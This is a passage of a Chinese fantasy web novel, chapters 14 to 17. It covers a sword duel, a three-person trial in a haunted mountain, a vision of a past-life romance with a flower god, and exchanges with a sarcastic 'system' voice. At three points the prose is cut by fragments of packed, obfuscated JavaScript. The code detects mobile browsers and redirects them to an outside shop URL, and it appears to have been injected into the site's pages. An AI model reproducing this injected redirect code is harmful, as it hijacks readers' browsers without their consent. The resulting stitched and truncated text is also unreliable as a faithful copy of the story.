闻执诗心里还是有点打怵的,毕竟这位牛大哥长得实在是有些唬人。他抬指拈咒,稍稍探了一下牛大仙的修为,心说这牛大仙看着虎背熊腰,牛高马大的,实际上他的修为也才刚到通幽境!那不就跟刚入门两三年的弟子没什么区别吗? 飞天境的剑修与通幽境的剑修对打,岂不是最强王者打坚韧黑铁,纯纯虐菜啊! 虐菜归虐菜,态度还是要摆正的。 因为闻执诗有不能输的理由。 砚倾酒还在上头看着呢!闻执诗要是输给一个低等剑修,怎么对得起他“逍遥宗一枝花”的名头? 不对,乃是“逍遥宗第一剑修”! 这几日闻执诗恶补逍遥宗的功法和招式,早已将微生言的独门秘籍熟记于心,他悟性极高,单单看些武功秘籍便能无师自通,还能活学活用。武斗一开始,他用的招式是“风花雪月”。 名字听着文艺,实际上就是一些看起来花枝招展,实则没什么杀伤力的招式,比如挽个剑花啦,划个云剑啦,撩个腕花啦。 少年一袭白衣,身形颀长,墨发仅用一根素带起,几缕散发随风飘扬,儒雅风流,又意气风发。 闻执诗在玉石台的云雾中耍着长剑,时不时挑起地上的落叶,笑着将落叶送到对手发梢,回剑时又轻轻地弹落。 他的动作极快,一来一去不过弹指之间,宛若风吹花落,只能见其影,难以观其形。牛大仙只觉得眼前有道白影晃来晃去,完全看不起他的身形,一来二去,牛大仙便有些犯头疼,冲闻执诗吼道:“师弟何必隐藏实力,跟我绕弯子?不如拿出看家的本事,跟我斗个痛快!” 闻执诗后撤三步,直立于牛大仙身前,问道:“师兄可要想好了,我的剑要是出去了,可没那么容易能收回来。” 牛大仙提剑朝闻执诗刺去,豪放地笑道:“尽管出招,我牛大仙敢打就敢输!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349190|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那好。那我便送师兄一剑。”闻执诗抬指时默默念咒,月照泉向前抵挡,登时剑光四射。一股蓝色的剑气渐渐将牛大仙手中的长剑裹住,牛大仙有些抵挡不住,频频后退,这时,闻执诗仍然云淡风轻地站在原地,朗声道了句:“这一剑名为——‘沧海照月’!” 剑光炸开那一刻,似有海水冲击岩石的声音渐渐响起,刹那间,月照泉猛然向牛大仙刺去,牛大仙招架不住,向后一倒,重重地摔在了地上。 点到为止。 闻执诗及时收剑,没有伤到牛大仙。他提着剑,走过去,朝牛大仙伸出了手:“师兄,我扶你。” 牛大仙平躺在地,望着天空,如一头已到中年却一事无成的老牛,捂着脸哞哞哞的哭了起来。 老牛抱头痛哭道:“我来逍遥宗三十年了,三十年了啊!我六岁就来了,耗尽青春,熬干岁月,时至今日,我的修为才到通幽境,我就是一个无能的废物!可我刚到逍遥宗的时候,他们都说我天资聪慧,说我一定能有所成就!为什么啊,到底为什么啊!我的力气比别人大,练得比别人刻苦,为什么我还是止步于此了呢!” “刚才看到你那一剑,我方才知道什么叫做天赋,什么叫做前途。我就是一个彻头彻尾的败者,甚至不配称自己是个剑修。” 牛大仙的道心碎了。老牛emo哞哞哞,看着实在是心酸。 “许是师兄没有找到诀窍,修仙之路清苦,鲜有人能得道成仙。”闻执诗盘腿坐在牛大仙身边,真挚地言道,“我见师兄的第一眼,便觉得师兄是个不平凡的人。” 闻执诗心说,一出场就有妹子相随的剑修能有几个?牛大哥你魅力无边啊! 牛大仙问道:“为什么?” 闻执诗温声道:“因为你身上有一股韧劲。我很欣赏你,我想,这也是小师妹为什么会欣赏你的原因之一吧。师兄,结果很重要,但过程同样重要。就算你终究无法得道成仙,你也可以下山去,用你练就的一身好武功去成就一番事业,或当一位保家卫国的将军,或当一位斩妖除魔的侠士,你已经有了能保护你所在的人的能力了。这才是最难得的。” 无比诚恳,老已都要泪目了。 说完,闻执诗朝牛大仙怀里塞了几本微生言从不对外传授的独门秘籍,而后将牛大仙拉到自己身边,小声BB道:“师兄,听我的,练这个保准有用!我那还有很多这种秘籍,等比武大会结束后,你带着想学的师兄弟到小香山来,我给你们说说其中的诀窍。成仙不成仙我不能保证,但是对提升修为一定管用!” 牛大仙刚才都快要牛眼泪了,泪珠子还没掉下来,又被闻执诗逗笑了。他问道:“那你刚才对我说的那番话?” 闻执诗捂嘴一笑,低声道:“立人设呢!我可是‘逍遥宗第一剑修’,肯定要德智体美劳全面发展啊!我不说点大话,对不起这个名头啊。” 牛大仙更懵了,哞了两声,还是没弄明白,就不问了。 二人勾着肩,搭着背,喜孜孜地走下了比武台。 这一轮,闻执诗不仅拿下了比赛,还俘获了牛牛师兄的“芳心”。 可谓是大获全胜! 至于闻执诗苦口婆心说的那番话,他本人没在意,看台上倒是有人听进去了。 第二轮抽签还是在小香山,继续转轮盘。 只是这一次,规则变了。 晋级第二轮的弟子挨个上去转轮盘,转到的人不再是自己的对手,而是自己的队友了! 闻执诗火急火燎地呼叫人工客服:“兄弟,醒着吗?劳烦您让我和砚倾酒一组,您能明白我的意思吗?千万别让砚倾酒轮空,不然他就要孤军奋战了!” 【现在知道称“您”了,变脸如翻书!】 人工客服沉睡的心灵被闻执诗毫不留情地敲醒了,不耐烦道:”【破事真多!程序都是设定好的,就你天天改改改!老子就没见过这么难伺候的甲方!下不为例!】 闻执诗朝着天空抱了个拳,悻悻笑道:“好的。下不为例,辛苦你了,小乙方。” 这次终于遂人愿了。 砚倾酒转轮盘的时候,转到了闻执诗,闻执诗谢天谢地谢系统,终于松了口气。 熬过第二关,就是最后一关了。 然而,令人出乎意料的事情还是发生了。 在砚倾酒转到闻执诗后,小师妹菜菜竟然也转到了闻执诗! 众弟子:? 闻执诗:?? 砚倾酒:??? 圣诞节快乐)。 闻执诗质问系统:“什么意思?抽签轮盘还能出bug?咋滴,我还能一分为二不成?” 人工客服:【本来砚倾酒是要轮空的,你是要和菜菜一组的。现在你要和砚倾酒一组,总不能让人家小姑娘孤军奋战吧?所以,你们三个演‘燃冬’就好啰!你也不介意多带一个妹妹吧?】 “什么乱七八糟的?什么叫我多带一个妹妹?不就一个吗?”闻执诗扭头看了一眼身边的砚倾酒,秒懂:“哦。你是说,另一个‘妹’是他啊。” 这也不对吧? 15. 苦楝花神 蓬莱仙山常年云雾缭绕,山雨一下起来便没完没了。雨滴好似江南小姐落不尽的泪珠子,一个接一个地串成了线,不一会便将闻执诗身上的素白色的弟子制服打湿了。 初入荒山,闻执诗站在芭蕉树旁,一边听黄山长老讲述第二轮规则,一边漫不经心地逗着驻足于芭蕉叶上的蜻蜓。 砚倾酒站在他的身边,用那双乌黑深邃的眼睛盯着芭蕉叶上的水珠看。 闻执诗用余光瞄了他一眼,不知怎的竟想起了一句诗:“芭蕉叶叶为多情,一叶才舒一叶生。” 想到这里,闻执诗不由得醋了起来,心说这一路走来,砚倾酒不是看花就是看草,看遍了花和草,他就盯着水珠出了神,难道自己还没有那不起眼的水珠子好看吗?竟然一句话也不说,就把我晾在一边,真是忒无情了。 他觉得,砚倾酒对花草树叶都有情,唯独对自己无情。 第二轮的规则相当简单,所有晋级的弟子两至三人一组进入荒山,率先找到仙门执剑掌门微生言的佩剑并逃出荒山的弟子晋级下一轮。 佩剑只有一把,也就是说,只有一组弟子能够晋级最后一轮。除了闻执诗这一组,其余的都是两人一组,若闻执诗这组没有晋级,那么下一轮就更简单了,两个人比武获胜的人就是魁首了。 原本是要从灭妖塔中抓几只妖物放到荒山中给这一轮增加点难度的,奈何灭妖塔中的妖物全都被闻执诗灭了,黄山长老只好在荒山中设下禁制,用术法变幻出一些人造的恶灵来增加难度。 低等恶灵对闻执诗来说,跟对线时要清的小兵没有区别,不仅毫无威胁,而且还能刷经验和金币。当然,在这个“游戏”中没有经验和等级一说,但他可以用“英雄救美”这一招来提升一下砚倾酒对他的心动值! 闻执诗将身前的一缕鸦发甩到身后,微笑时打了个响指,给自己换了一身干净素雅的衣裳,活似一只将要开屏的白孔雀! 见状,菜菜小师妹问道:“闻师兄,你换衣服做什么?旁的弟子都去找佩剑了,我们不去吗?” 说完,她略微失落道:“要是牛师兄在就好了。” 这时,砚倾酒道了句:“师姐,我与你一同前去寻找佩剑。山中有凶灵作祟,即为同组,两人一起行事,若是途中出了事,也好有个照应。” “那我呢?我的亲亲小师弟,你竟然一口气跟她说了好几句话!”闻执诗跨步走到二人中间,扭头盯着砚倾酒,酸溜溜道:“师弟,你何曾一口气跟我说过这么多话?我可是废了九牛二虎之力才将你带进逍遥宗的,再怎么说,我也算是你的小恩人吧?” 不敢托大,小恩人应该能算得上吧。 砚倾酒盯他:“以师兄的修为,还需要有人照应你么?我相信,就算师兄孤军奋战,也能拔得头筹。” “你这话说的就不对了。”闻执诗毫不谦虚道,“若是我一人夺魁,你们还比什么呢?你们应该也不想与我做对手吧?况且,所有人都知道我们是三人一组,本就在人数上占据优势,若现在就去与他们打,必然会处于众矢之的。” 说完,闻执诗心叫亏了亏了。怎么就成“你们”了?应当是“咱们”才对! 菜菜小师妹问道:“那师兄觉得我们该怎么做?” 闻执诗斯文败类似的捏了捏额头,言道:“先找到出口,然后守株待兔,等他们杀到力竭,咱们再去将佩剑抢过来。省时省力,还高效,你们觉得如何?” 菜菜拍手道:“好主意!” 砚倾酒淡淡道:“尚可。” “可以就是可以,不可以就是不可以!‘尚可’是什么意思!是不是瞧不起我!”闻执诗在心里嘀咕了两句,见砚倾酒正瞅着他看,压住想翘起来的嘴角,笑道:“那好,那咱们便一起去找出口吧。” 看着不远处那些黑不溜秋的恶灵,菜菜担忧道:“可是,前面那些横冲直撞的恶灵怎么办啊。进入结界,免不了会跟那些恶灵打照面,咱们要是硬闯的话,能打得过那些恶灵吗?” “放心,放心。”月照泉开路,闻执诗在后面吊儿郎当地走着,“要是那些恶灵能伤到你们,我把头拧下来给你们踢着玩。” 闻声,砚倾酒低声一笑。 这笑声闻执诗很熟悉,他扮作鸟儿夜夜在青山峰陪砚倾酒读书的时候,常常听见这般清澈爽朗的笑声。 少年的低声笑时,笑声如春风拂过花枝,簌簌沙沙,又像毛笔划过宣纸,落下最浓墨重彩的那一笔时留下的声音;少年朗声笑时,笑声如清泉撞击岩石,又如玉佩相撞,清脆悦耳。 无论是哪种声音,闻执诗都很熟悉。 扭头看着砚倾酒,他弯着眼睛,问道:“你刚才是不是笑啦?” 砚倾酒抿了一下嘴,低声道:“没有。” 这氛围怎么有些微妙?菜菜蹦蹦跳跳地凑到二人身前,好奇地问道:“你们两个人是不是很熟呀?感觉你们认识好久了暧!”盯着砚倾酒,又道:“从前我听说闻师兄生性孤傲,自视清高,不喜与人亲近,他怎么对师弟你有说有笑的啊?莫非,你们是不为人知的旧相识,老相好?” “我OOC的这么明显吗?!”闻执诗扶额苦笑,心道:“姑娘,你怎么把心里话当着人面说出来了?岂止是旧相识,老相好?我们还拜过堂,成过亲呢。说出来不得吓你这个小丫头片子一大跳!” 砚倾酒并不承认,反倒是斩钉截铁地道了句:“我与他并不熟。” 闻执诗瘪着嘴,心道:“嚯!” 心里的小灵魂又叽叽喳喳地发火了:“这话的意思就是我硬往你身边贴咯?当初那婚是谁要结的?是谁满心欢喜地坐在婚房中等着我去成亲?是谁?是谁?是谁?要不是你跟我绑定了那个破系统,我鸟都不鸟你!” 他发现自己这些天脾气好了不是一点半点,纵使心里的小灵魂火冒三丈,面上依然是人淡如菊,活人微死的模样。 都是装的! 他简直是21世纪东方的费迪南德-沃尔多-德马拉。 满级大佬玩这种消消乐小游戏简直不要太easy!恶灵还没到眼前呢,就被月照泉灭了个干干净净。 至于出口,据闻执诗对黄山长老了解,知道他喜欢木雕,所以猜测黄山长老很可能将出口隐匿在树干或者树洞中,果不其然,三人很快便在一棵苦楝树的树干上找到了出口的结界。 太简单了,也不是一件好事。 英雄救美的难度反而增加了。 找到出口后,菜菜与砚倾酒一同坐在树下聊天,独留闻执诗一人站在树边喝山西老陈醋,喝得那叫一个肝肠寸断。他扶着树干,对老苦楝树道:“树哥,你也很孤独,对吗?” “叫什么哥?以你的年纪,应该叫我‘树爷爷’!” “从哪里传出来的声音?”闻执诗懵了,这年头树都能成精了!他抬头一看,竟在树干上看到了两只眼睛一张嘴,登时吓了一跳。 “孩子,别害怕。老夫乃苦楝树的树灵,在这里三千多年了。你们的祖师爷还未创立逍遥宗的时候,老夫就已经在这里了。那时候还有没有仙门,也没有神魔之分,所有的生灵都有存在于世的意义。”那双眼睛好似一位年迈的老翁的双目,眼周荡起的皱纹,像一圈圈苦褐色的涟漪。 竟是一位活了三千多年的老祖宗! 闻执诗像个犯了错的孩子,拱了拱手道:“抱歉树爷爷,这次的比武大会闹得乱哄哄的,我们一定是打扰到您清净了。执诗替诸位师兄弟,在这给您赔不是了。” “是你没错了。孩子,你每次到这来,都说这句话,说得小老儿我的耳朵都快起茧子了。”树灵慢吞吞道,“不算打扰啰。神生漫长,老夫一个人在这里太寂寞了。真的太寂寞了。” “每次?树爷爷,您记错了吧?我分明是第一次来啊。”闻执诗转了转脑子,仍是没想明白。 “不会错的。岁月最是折磨人,有些事情年岁久了,人就会忘记。但小老儿我啊,就是忘不掉你。因为你每次来,都像炮仗似的噼里啪啦说个不停啊。”那双皱皱巴巴地眼睛抬了抬,看向不远处的砚倾酒,“神君也来了啊。你还记得吗,那年你在这苦楝树下,亲自为神君酿了一坛苦楝花酿。他不喜欢喝苦酒,你却告诉他,酒入愁肠,所有的烦心事就都散了。” “什么神君?哪儿有神仙?!”闻执诗苦恼道:“可我不会酿酒啊。” 树灵“嗬嗬”两声,慈祥地笑了笑,沉声道:“孩子,你只是忘了。你忘了你是从哪儿来的,忘记你是谁了。” 我从哪里来? 不知道。 我是谁? 闻景年,又或是闻执诗? 还是都不是?我不知道我到底是谁了。 见闻执诗抓耳挠腮,树灵安慰道:“别再想了孩子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349191|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不明白的。再想下去,头要秃了。小老儿我就帮你一次,让你看看那个孩子的记忆。来,你过来,凑近些。老夫带你去看看过去,看看你们的从前。” “我们?除了我还有谁?莫非是砚倾酒!” 听到这,闻执诗脑瓜子一转,后撤两步拉起砚倾酒一起跳进了苦楝树的结界中。刹那间,日月颠倒,时间停滞,眼前先是一片无穷无尽的黑,而后过了许久,才渐渐地出现了一点光亮。 他们仍然在荒山,只是这时的山,不是荒山,而是一座灵气萦绕的仙山。 不远处,砚倾酒跪坐在竹案前,融雪煮茶,簌簌落花轻轻地落在他的素白色的薄衫上,衣摆处的花纹正是苦楝花。花香萦绕在他的身侧,清香中含着苦味,像药罐中藏了糖,糖的香甜盖住了苦味,可药仍然是苦的。 这棵苦楝花树与闻执诗见过的大不相同,更像是一棵神树。 这人是砚倾酒,却也不是。因为他不像凡人,倒像是天上的神君。 云卷云舒,暖阳渐渐升起,点亮了茫茫的一片白。云雾散去时,一位玄衣少年握着花枝走到砚倾酒身边,坐下,将花枝别在了砚倾酒的耳侧。 少年一笑如春风,盯着空荡荡的酒壶,朗声问道:“神君可是馋酒了?我曾跟师父学过酿酒之法,酿过桃花醉,酿过美人泪,倒是还没用这苦楝花酿过酒。神君想不想尝尝苦楝花酿?” 远处透明人似的闻执诗走到二人面前,看清了那位少年的脸。 真是奇了怪了!那少年竟然与自己长得一般无二,连笑起来时眼角的褶子都是一样的! 砚倾酒道:“苦楝花是苦的,酿出来的酒想必也是苦的。我不喜苦酒,还是不要试了。” “苦楝花苦么?”少年摘下一朵花,吸允着花蕊间的晨露,将下巴抵在砚倾酒的肩头,叼着花,在他耳边轻声说:“可我最喜欢苦楝花了,一点也没觉得苦。” 砚倾酒回头之时,二人的双唇只有一花之隔。 “那便试试吧。” 话音未落,少年便将口中叼着的花送上去,送到了砚倾酒的唇间。而后他笑着拎起酒壶,用酒壶装满落花,走时冲砚倾酒歪头一笑,笑意阑珊地说道:“我不会让神君久等的。” 日月轮转,不知过去了几日。画面一转,便是二人坐在苦楝树下,饮苦楝花酿的场景了。 二人依偎在一起,如同两朵相依的落花,谈笑间尽显风流。 花香酒香交织相融,少年捧着酒壶,晃了晃,将余下的美酒一饮而尽,言道:“酒过三巡,心里痛快,什么仇,什么恨意,就都散了。” 转头望着砚倾酒,又是扬眉一笑,“如今我的眼睛里,就只有神君一人了。” 神不会失落,也不会悲伤。砚倾酒平静如水,淡然道:“本君要走了。” 少年眼中莹亮的光瞬间消失了。他问了句:“神君一定要走吗?” 砚倾酒道:“是。” 闻执诗又问道:“什么时候回来?”他这么问,便是默认砚倾酒一定会回来。 砚倾酒并未犹豫,沉声道:“归期不定。” “神君真是狠心,竟也不留点念想给我。”闻执诗蹙着眉,黯然神伤道:“神君此去无归期,执诗若是修不成仙,怕是再也见不到你了。” “本君还会回来的。”砚倾酒转头看他,又道:“苦楝花年年都会开,你若想我,便来这里坐一坐。十年酿一坛酒,你酿十坛酒,本君就回来了。” “十年又十年,你要百年才能回来?”闻执诗失落道,“可我的一生,就只有一个百年。若我等不到你了呢?” 砚倾酒没有回答。 远处的画面崩塌溃散,一点一点地消失殆尽。 小透明人闻执诗急眼了,心道:“这是哪一辈子的故事?莫非前世我跟砚倾酒还是一对神仙眷侣?不对不对,他是神仙,而我只是一个凡人。闻执诗你真糊涂,你一个就活一百年的凡人,为什么要等一个长生不死的神仙?你能等的到吗?” “会等到的。” 这话竟是从闻执诗的身后传出来的。闻执诗回头一看,见刚才被自己拉进来的砚倾酒此时此刻就站在自己身边,又道了句:“会等到的。因为我常常做这个梦,在梦的最后,他回来了。” 闻执诗眉头一皱,问道:“他是谁?” 砚倾酒答道:“苦楝花神。” 16. 神の情劫 “苦楝花神?我怎么不记得角色介绍中有神级别的人物?”闻执诗呼叫人工客服,但人工客服不在线,估计是元旦调休了,于是乎,人机系统便跳出来回复道: 【宿主提出的人物「苦楝花神」超出原书中含有的剧情范围,系统无法为您解答!嘻嘻嘻!抱歉!】 “超出原书范围?!”闻执诗差点怀疑自己的耳朵了,顿了顿,又问道:“我不是穿进一本书里了吗?怎么还有超出原书的人物?莫非他真的是神?这也太扯了吧!” 人机系统:【超出原书中的人物和场景只能由宿主自己解锁哦。温馨提示:若宿主想探究「真实」,解锁「真实世界」中的人物和场景,可以尝试打破「隐形限制」或解除角色OOC限制哦!】 闻执听得云里雾里,觉得自己简直是个脑袋空空的白痴,又问道:“什么叫「隐形限制」?” 人机系统调出一段话:【「隐形限制」即无形地、潜移默化地影响或改变角色认知、心理、性格、行为动机的限制。例如,「视角限制」:指角色被困在信息茧房中,只拥有单一视角,无法获得全知者视角,无法了解掌握真实世界。】 “也就是说,除了书中世界,还存在一个「真实世界」,我现在所处的,就是书中世界与「真实世界」重合的部分,而我所认识到的这个世界,不一定是真实世界,有可能是「系统」或「操控者」想让我知道的世界。所以说,苦楝花神这个角色,就是超出我的认知的、真实世界中的角色?”闻执诗琢磨着,又问了句:“我有一个问题,在我所认知的这个世界中,只有我一个人有系统吗?” 人机系统答:【不是。存在其他绑定系统的人物,且与宿主绑定的并非同一个系统。】 “竟然还有同行?不对,竟然还有跟我一样的倒霉蛋?”闻执诗大吃一惊,旋即,继续提问,“那我能知道其他的倒霉蛋是谁吗?” 人机系统:【抱歉宿主,您现在的等级还无法解锁其他信息。小系统建议您速速提升角色等级或者用您的火眼金睛仔细观察哦~如果没有别的问题的话,小系统就先退下啦!祝您生活愉快、幸福美满!】 “等等等一下!我还没问完呢!老树灵应该也是「真实世界」中的人物吧?还有我为什么没有重开之前的记忆啊?喂!别走啊!理一理我!”闻执诗一哭二闹三上吊,奈何人机系统已经回家过年去了,他只好愤愤地跺跺脚,吐槽道:“我的生活一点也不愉快!我一点不幸福也不美满!你们系统就是万恶之源!” “什么?什么万恶之源?” 砚倾酒把最后一句话听进去了,问道:“你怎么了?你刚才说什么?” 闻执诗的脸上笑出猫猫纹,强颜欢笑道:“我说我很幸福!真是太幸福啦!哈哈,真是幸福来敲门,幸福到家啦!” 砚倾酒觉得此人真是莫名其妙,想到一句蹦一句,真不知道他脑子里都有些什么。 郁闷jpg. “你怎么啦?怎么脸皱皱巴巴的,得跟个小老头的脸似的?”闻执诗三两步蹦到砚倾酒面前,掀起眼皮,眼睛亮晶晶地看着他,问道:“你刚才说的那个苦楝花神,是什么来头?为何我来逍遥宗这么久了,却对他闻所未闻?你又为什么知道?” “闻所未闻?看来就只有我一个人记得了。”砚倾酒本不想再跟闻执诗多费口舌,奈何闻执诗一直眼巴巴地看着他,看的他心软了,便又道了句:“你与我成亲前,我曾经给你看过画着十二位花神的画本子。你当真一点也不记得了?” 怎么又提成亲的事儿了? 闻执诗小脸一红,心道:“可我根本就没有洞房花烛夜之前的记忆啊!算了,砚倾酒说什么就是什么吧。谁让我欠他的呢。” 不记得,但宠。 闻执诗悻悻一笑,搓了搓手,嬉皮笑脸地嘿嘿道:“十二花神图我自然是有点印象的。花神嘛,都是很美的啦,自然是让人不容易忘的。但是呢,花神再美,不是也有十二个嘛!我这人记性不太好,容易忘事,别的都记得了,就忘了这个苦楝花神了,谁让他最特别呢。好心人~小师弟~砚倾酒~你就给我讲讲呗。” 说着说着,竟然还撒起娇来了! 砚倾酒扶额道:“我说的也不一定是真的,有些事情我也记不清楚了。你就当我是做梦梦到的吧,当然,也有从画本子上看到的。” 闻执诗激动地道:“你说,你说!” 砚倾酒不疾不徐,颇有耐心道:“苦楝花神乃天界的十二花神之一。花神司时节,到了相应的季节,花神便会下界布花。” 闻执诗问道:“一年有十二个月,莫非每一个月都有一个对应的花神?那苦楝花神几月来啊?” “四月。”砚倾酒继续道,“苦楝花开在春末,一般苦楝花神下凡的日子,便是春天悄然退场,夏日粉墨登场的日子。因为苦楝花开在春末,且带一个‘苦’字,所以人们常将苦楝树称为‘鬼树’,将苦楝花称为‘鬼花’。” “什么名儿啊?”闻执诗纳闷地道,“你说这些人怎么净给这些好看的花起这种乱七八糟的名字啊?什么‘鬼树’呀、‘鬼花’呀,听得怪瘆人的,叫它‘仙花’不好吗!” 本来就是仙花啊! “好啊。若日后你离开了逍遥宗,便对山下的村民们说一说,为苦楝花正个名吧。”砚倾酒垂眸一笑,又道:“其实,苦楝花叫‘鬼花’是因为苦楝花神曾经犯过天条,被天帝贬下凡间,化作恶鬼,在罗刹门游荡了三百年。” 闻执诗心道:“没想到这位花神还挺叛逆的呢。” 砚倾酒继续道:“后来天界掌管神仙情缘的司缘神君若水下凡游历,途径罗刹门时,见老友一副人不人鬼不鬼、自暴自弃的模样实在是太过可怜,便替花神向天帝求了情。” “若水说世间不能没有苦楝花,总该有一种花代指人世间不得善果的‘苦恋’,故此,天界也不能没有苦楝花神。不知是不是此番话打动了天帝,天帝宽恕了苦楝花神,苦楝花神这才得以回到天界。但是,作为代价,苦楝花神将永远不能下界。从那之后,他就只能在天界布花了。” “可怜的小花神,都成神了,还要受这种罪。”闻执诗叹息一声,问道:“这位花神到底犯了什么错?” “苦楝花神动了凡情。苦楝花神在凡间与一位凡人私相授受,动了真情,甚至给了那个凡人神脉。”砚倾酒叹气一声,言道,“神本不能动情。” 闻执诗心想:“该不会是刚才看到的那样,两个人一起坐在树下甜甜蜜蜜地喝酒聊天吧?可画面中的花神分明是砚倾酒啊。” 最令闻执诗毛骨悚然的是,画面中那个少年,分明就是他自己! 闻执诗心道:“难道我上辈子跟花神谈了场恋爱?可这花神是个男神君啊!难不成我上辈子是个断袖?绝不可能!” 挠了挠后脑勺,他又暗暗心想:“应该不会是我的错吧... ...退一万步说,谈恋爱有错吗?那神仙长得那么好看,喜欢他应该是人之常情吧!千错万错,一定是玉帝老儿的错!” 砚倾酒盯着闻执诗看,见他百思不得其解,皱着眉歪着头,故作深沉,不由得笑了一下。 闻执诗抬眸时恰好捕捉到了砚倾酒的笑颜,笑盈盈地问道:“你笑啦?” 砚倾酒抿了抿嘴:“没有。” 闻执诗吹了吹额前的头发,哼道:“我明明看见你笑了。” 砚倾酒不敢看他,轻咳两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349192|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声换了话题,问道:“你在想什么?” “我在想为毛啊?”闻执诗晃着脑袋吐槽道,“神仙也是人,也长着肉长了心,动情不是人之常情吗?说不定那天上的什么天帝啊,什么星君啊,自己就动情了,他们一口气娶八个老婆藏起来,还要求你们这些属下断情绝爱,啧啧,简直是太可恶了!” 砚倾酒竟没反驳闻执诗的话,而是继续解释道:“神不能动情,因为神有神力,可诛仙降魔,凡人于神而言,不过沧海中的沙砾。若神因一己私欲或一念之情私自下界迫害苍生,那么于那些善良无辜的生灵而言,便是灭顶之灾。所以天庭才会有天条,九重天也会有九重天的规矩。” “是了,没有规矩不成方圆,也好也好。就是苦了那位花神了啊。”闻执诗不知怎得竟想到了自己,又道,“反正啊,我觉得要是做神仙就必须得断情绝爱的话,还不如当一个逍遥自在的凡人呢!” 话音刚落,砚倾酒突然问了句:“若你的心上人是神仙呢?若你想与他长相厮守,就不得不得道成仙呢?” “那就修呗。修不成也没关系!”闻执诗吊儿郎当道,“要么我成仙,要么他陪我一块下地狱!” 砚倾酒嗤笑道:“你倒是狠心。” 闻执诗净讲些歪道理,没个正形,“人不狠,怎么能留住自己的小情人儿呢。况且下地狱有什么不好的,跟自己喜欢的人一起在地狱喝个茶,逗逗小鬼有什么不好的嘛。” “倒也是。”砚倾酒觉得自己不能再与闻执诗扯了,不然他们能在这里聊三天三夜,便问道:“我们该怎么出去?” “出去啊?好说,好说。”闻执诗打了个响指,腆着脸看向茫茫一片白的天空,喊道:“树爷爷,您放我们出去吧!菜菜那小丫头还一个人在外面呢,别一会我们出去了,她已经被妖灵给吃了。” 树灵“嗬嗬”两声,慢吞吞道:“你们本来就在外面啊,你们只不过是站在老夫的肚子上罢了。” “肚子?哪来的肚子?我怎么没看见肚皮?”闻执诗刚要跺脚,周围一望无际的白色便突然消失,落脚时,他果然踩到了软软的东西。 他低头一看,惊了,自己踩得竟然是菜菜那双土黄色的靴子! 身前,大约半臂的距离,菜菜两手掐腰,拧着脖子瞪着闻执诗,小怪兽似的露出一对小虎牙,咬牙切齿道:“师兄!你踩到我了!还不拿开吗!” 闻执诗触电般收回脚,连到两声“抱歉”,故意岔开话题道:“师妹啊,你刚才没有遇到危险吧?” “没有!树爷爷护着我呢。”菜菜掏出一块手帕,蹲下擦靴子,边擦边道,“我就说你们两个很熟吧。刚才你们说的那些话我都听见了,什么花神啊,什么鬼树啊,什么动情啊。真有意思,下次也带我进去听听呗。” “小孩子不能听这些。” 闻执诗心说得亏刚才没多说话。 他仔细一想,心叫不好!刚才他叫砚倾酒的名字了! 但愿菜菜没听清楚。 “我今年已经一百二十岁啦!你几岁啦?”菜菜利索地站起来,翘着脚尖,“我只是辈分低,又不是年龄小!” “天啊!你这个小不点竟然有一百二十岁?果真应了那句‘人不可貌相’啊!”闻执诗讶然地感慨两句,又道:“我能冒昧地问一句,你为什么叫菜菜吗?” “当然可以啦!你等一下咯。”菜菜摊开手掌,变出一个巴掌大的法器,嘻嘻笑道:“因为我的法器是一棵白菜啦!但是,它不是一棵普通的白菜!它可是一颗羊脂玉白菜,很漂亮的!” 闻执诗听得一愣又一愣,低头一看,竟然真是一棵小白菜,震惊道:“你说你的法器是这棵小、白、菜?!” 17. 师尊挡道 捏着玉白菜,菜菜颇为傲娇地道:“这可不是一般的玉白菜,若师兄日后知道我这棵白菜的来历,定是会大吃一惊的!” 闻执诗有模有样地拱了拱手,很是恭维地道了句:“看来是在下眼拙了。没想到你这位芳龄一百二十岁的小师妹,还是个厉害家伙呢。” 菜菜瘪了瘪嘴:“那可不。” “好啦。咱们甭贫嘴了,咱们再贫下去,怕是要拿倒数第一了,还是快点去找仙尊的佩剑吧。”难得,闻执诗也能有点时间观念了。若不是砚倾酒盯得他发毛,他肯定能在这里再磨叽半个时辰。 三人正欲走,奈何老神仙不放人。 “诸位,请等一下。”树灵好似被“闪电”附了体,慢吞吞地笑了笑,拉出了六个字。见三人回头望向苦楝树,树灵又道:“老夫有几个问题要问你们,你们需得如实回答,老夫才能放你们走。” 闻执诗心说有趣,抚掌笑道:“六啊六!竟然还有互动环节!树爷爷,您可真是活人感十足啊!” 